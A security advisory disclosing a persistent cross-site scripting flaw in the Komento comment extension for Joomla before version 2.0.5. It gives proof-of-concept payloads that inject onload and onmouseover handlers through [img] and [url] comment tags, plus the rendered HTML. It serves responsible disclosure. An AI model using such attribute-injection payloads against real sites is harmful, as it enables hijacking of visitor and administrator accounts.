Joomla Komento Cross Site Scripting

`CVE Reference: CVE-2015-7324  
Original advisory:  
https://www.davidsopas.com/komento-joomla-component-persistent-xss/  
Author: David Sopas @dsopas  
  
Komento is a Joomla! comment extension for articles and blogs in K2,  
EasyBlog, ZOO, Flexicontent, VirtueMart and redShop.  
  
@http://stackideas.com/komento  
  
I found out that was possible to launch a Persistent XSS attack when  
adding a new comment using the WYSIWYG website and image buttons.  
This issue was critical in both environments - frontend and backoffice.  
  
In frontend when a user visited a page where the comment has a XSS  
attack it would be automatically affected.  
In the other side - the backoffice - when the admin checked the new  
comment it would be vulnerable to this attack and could get his  
account hijacked or something even more dangerous.  
  
What I did was to pass along the XSS vector in the [img] code and use  
the Javascript onload to run the exploit when image loads.  
  
Proof-of-concept using [img]:  
[img]http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg"  
onload="prompt(1)[/img]  
  
Proof-of-concept using [url]:  
[url="https://www.davidsopas.com" onmouseover="prompt(1)"]Your text to  
link[/url]  
  
In the [img] case this will reflect the following HTML (on the frontend):  
  
<img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg"  
data-pagespeed-onload="prompt(1)"  
alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg"  
onload="prompt(1)" style="max-width:300px;max-height:300px;"  
onload="var elem=this;if (this==window)  
elem=document.body;elem.setAttribute('data-pagespeed-loaded', 1)"/>  
  
And...  
  
<img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg"  
data-pagespeed-onload="prompt(1)"  
alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg"  
onload="prompt(1)" style="max-width:300px;max-height:300px;">  
  
In the administrator area.  
  
This Joomla! component has lot’s of Google results and can affect a  
large number of innocent people. A victim just by visiting the page  
with a malicious comment will be affected.  
  
All versions prior to 2.0.5 are affected.  
Vendor already patched both security issues in the new version 2.0.5 -  
http://stackideas.com/changelog/komento  
  
-David Sopas  
davidsopas.com  
@dsopas  
  
  
`